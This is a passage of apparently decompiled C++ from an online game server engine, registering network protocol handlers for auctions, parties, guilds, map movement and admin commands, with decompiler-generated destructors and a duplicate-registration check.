PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 1, 900, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_LOG_MAP_NOBASE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 37, 60, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 37, 64, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 18, 42, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 57, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 199, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_PK_MODE_TOGGLE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 45, 16, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 46, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_AUCTION_SEARCH_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 46, 11, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_AUCTION_BUY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 46, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_REGISTER_GOOD_LIST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 46, 19, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_GOOD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 46, 23, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_CANCEL_GOOD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 46, 27, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_BOX_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 46, 31, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_ITEM_DETAIL_INFO_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 46, 37, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_AUCTION_STORAGE_BOX_WITHDRAW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 41, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 33, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_MOUNT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 35, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 37, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_MOVER_DISMOUNT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 258, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_REBIRTH_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 259, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_REBIRTH_REJECT_CMD); } // 4E2F40: using guessed type void *ShineObjectClass__ShinePlayer__sp_NC_ITEM_REWARDINVENOPEN_REQ; // 5117C0: using guessed type void *ShineObjectClass__ShinePlayer__sp_NC_MINIHOUSE_ACTIV_REQ; // 5379D0: using guessed type void *ShineObjectClass__ShinePlayer__sp_NC_CHAR_CLIENT_AUTO_PICK_REQ; // 548D20: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_NC_QUEST_START_REQ(_DWORD, _DWORD, _DWORD, _DWORD); // 55B550: using guessed type void *ShineObjectClass__ShinePlayer__sp_NC_BOOTH_INTERIORSTART_REQ; // 56B5B0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_NC_ACT_WEDDING_PROPOSEREQ_REQ(_DWORD, _DWORD, _DWORD, _DWORD); // 56B7A0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_NC_ACT_WEDDING_PROPOSEACK_ACK(_DWORD, _DWORD, _DWORD, _DWORD); // 5CFF60: using guessed type void *ShineObjectClass__ShinePlayer__sp_NC_GAMBLE_SLOTMACHINE_WHEELSTOP_REQ; //----- (004BA570) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->4100; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 650BA4: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall GameLogSession_____NETCOMMAND __int_____vftable_[4])(void *p, char); //----- (004BA5A0) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::pft_Store(PROTOCOLFUNCTIONTEMPLETE *this, int depart, int command, void (__thiscall *pnt)(GameDBSession *, NETCOMMAND *, int)) { PROTOCOLFUNCTIONTEMPLETE *v4; // esi@1 signed int v5; // eax@2 v4 = this; if ( (void (__thiscall **)(GameDBSession *, NETCOMMAND *, int))this->pft_funcpnt[command] == this->4100 ) { this->pft_funcpnt[command] = (void (__thiscall **)(GameDBSession *, NETCOMMAND *, int))operator new__(0x100u); v5 = 0; do { v4->pft_funcpnt[command][v5] = v4->4356; v4->pft_funcpnt[command][v5 + 1] = v4->4356; v4->pft_funcpnt[command][v5 + 2] = v4->4356; v4->pft_funcpnt[command][v5 + 3] = v4->4356; v5 += 4; } while ( v5 < 64 ); } if ( v4->pft_funcpnt[command][depart] != v4->4356 ) { AssertClass::ac_AssertFail(&shineassert, "PROTOCOLFUNCTIONTEMPLETE::pft_Store : Duplicate protocol set", 0); ShineExit("PROTOCOLFUNCTIONTEMPLETE::pft_Store"); } v4->pft_funcpnt[command][depart] = pnt; } //----- (004BA670) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004BA690) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))GameLogSession::gls_NC_MISC_S2SCONNECTION_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))GameLogSession::gls_NC_MISC_HEARTBEAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); } //----- (004BA6E0) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->this; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 650BA8: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall OPToolSession_____NETCOMMAND ______vftable_[3])(void *p, char); //----- (004BA710) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004BA730) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))OPToolSession::opts_NC_MISC_HEARTBEAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_LostSP); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 10, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ); } //----- (004BA790) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->4100; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 650BAC: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall WorldManagerSession_____NETCOMMAND __int_____vftable_[2])(void *p, char); //----- (004BA7C0) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004BA7E0) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_S2SCONNECTION_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 21, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_PINGTEST_TOOL_WM_ZONE); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 33, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 37, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_WHSHANDLEREPAIR_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 43, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MISC_CONNECTFROMWHERE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 3, 25, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 3, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 76, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_REGISTNUMBER_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 30, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_CHARDATAFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 31, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_BASE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 32, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_SHAPE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 33, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_DOING_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 34, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_DONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 205, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_READ_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 214, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_QUEST_REPEAT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 35, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_ABSTATE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 36, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_SKILL_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 37, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_PASSIVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 41, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_GUILD_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 152, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_GUILD_ACADEMY_ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 197, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_DISPOSITION_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 201, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_PK_MODE_TOGGLE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 208, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ITEMACTIONCOOLTIME_ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 211, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_SINGLE_OPTION_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 46, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_ITEM_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 48, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_GAME_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 47, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_CHESTINFO_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 49, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_CHARTITLE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 29, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_CHARDATA_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CHAR_ZONE_CHARGEDBUFF_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 8, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_JOIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 12, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_LEAVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_KICKOFF_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 31, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_DISMISS_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 42, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 60, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_LOGIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 70, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 77, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 79, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 94, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_PARTY_ZONE_SET_LOOTER_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 14, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_MAP_LINKRESERVE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 22, 13, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_KQ_W2Z_MAKE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 22, 17, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_KQ_W2Z_DESTROY_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 22, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_KQ_W2Z_START_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 24, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CT_CHARTTING_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 24, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_CT_ADD_FRIEND_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 67, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 68, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 71, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 72, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 73, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 74, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_MEMBER_JOIN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 75, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_ZONE_MEMBER_LEAVE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 129, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 121, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 150, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 159, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))WorldManagerSession::wms_NC_GUILD_STORAGE_WITHDRAW_GRADE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 29, 176, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, 